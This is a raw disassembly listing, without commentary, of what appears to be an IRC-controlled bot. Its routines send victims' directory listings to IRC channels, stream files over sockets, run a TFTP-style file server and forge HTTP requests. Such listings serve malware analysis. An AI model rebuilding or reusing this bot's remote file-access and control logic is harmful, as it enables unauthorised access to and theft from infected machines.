loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h nop call near ptr 25E041Ch loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2690000h nop test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] nop call near ptr 267037Fh cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172B0 add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172B0 add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 2630846h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx call near ptr 2670000h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 26B0000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2610000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43F5FC cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx call near ptr 2610978h nop loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43F5E0 push 6 push 1 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43F668 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_43C80C loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43F6B8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43F680 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172B0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h call near ptr 25E041Ch nop call dword_43F5FC push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25D0362h loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h call near ptr 25E041Ch nop dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h call near ptr 25E041Ch nop lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 add esp, 28h push ebx call near ptr 25D0362h nop loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43F650 test eax, eax jle loc_4070B8 mov al, byte_43C80C mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43F640 push [ebp+var_28] mov [ebp+var_C], eax call dword_43F6F4 push eax lea eax, [ebp+var_58] push eax call sub_4172B0 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43F6CC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172B0 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43F6CC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172B0 lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43F6CC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43F6CC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43F700 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417078 pop ecx push ebx call near ptr 25D0362h nop loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h nop call near ptr 25E041Ch push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172B0 cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_489C50 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA4 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_43C848[eax*8] call dword_43F6F4 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172B0 add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172B0 pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_43D804 push 104h push edi push ebx mov dword_43DA14, eax mov dword_43DA10, ebx nop call near ptr 2640000h push 103h mov esi, offset dword_43D908 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43D800, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43DA98, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_43DA14 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5C add esp, 20h mov dword_43DA0C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43D800 push offset sub_406C19 push ebx push ebx call near ptr 2660BD0h nop mov ecx, dword_43DA0C imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_43DAA0, ebx jnz short loc_4073A9 push 32h nop call near ptr 25E041Ch jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j nop call near ptr 2630B7Ah push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172B0 add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43DE5C mov [esp+210h+var_210], 104h push edi push ebx mov dword_43E068, ebx nop call near ptr 2640000h push 103h mov esi, offset dword_43DF60 push offset byte_42F674 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43DE58, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43E0F0, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43E06C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5C add esp, 20h mov dword_43E064, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DE58 push offset sub_4053D5 push ebx push ebx nop call near ptr 2660BD0h mov ecx, dword_43E064 pop edi imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_43E0F8, ebx jnz loc_4075D5 push 32h nop call near ptr 25E041Ch jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j nop call near ptr 2630B7Ah push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_43DD34 push 104h push esi push ebx nop call near ptr 2640000h push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43DE4C, ebx mov dword_43DE38, eax lea eax, [ebp+arg_10] push eax push offset dword_43DAAC call sub_4172B0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_43DAA8, eax mov ecx, [ebp+arg_138] push esi push dword_43DE38 mov dword_43DE44, ecx mov ecx, [ebp+arg_13C] push eax mov dword_43DE48, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5C add esp, 20h mov dword_43DE40, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DAA8 push offset sub_405AF2 push ebx push ebx nop call near ptr 2660BD0h mov ecx, dword_43DE40 imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_43DE54, ebx jnz short loc_4075D5 push 32h nop call near ptr 25E041Ch jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j nop call near ptr 2630B7Ah push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172B0 add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:43C848h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43F59C inc eax push eax mov [ebp+arg_0], eax call dword_43F664 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea 